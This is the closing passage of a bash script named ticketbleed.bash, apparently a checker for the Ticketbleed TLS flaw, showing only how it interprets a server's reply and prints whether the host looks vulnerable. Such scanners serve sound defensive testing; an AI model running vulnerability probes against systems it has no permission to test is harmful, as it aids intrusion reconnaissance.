echo -n "not expected server reply but likely not vulnerable"
fi
elif [[ "${SOCKREPLY:0:2}" == "15" ]]; then
echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
echo "${green}OK, not vulnerable${normal}"
else
echo "TLS record ${SOCKREPLY:0:2} replied"
echo -n "Strange server reply, pls report"
fi
echo
echo
exit 0
# vim:tw=200:ts=5:sw=5:expandtab
# $Id: ticketbleed.bash,v 1.5 2017/04/16 18:28:41 dirkw Exp $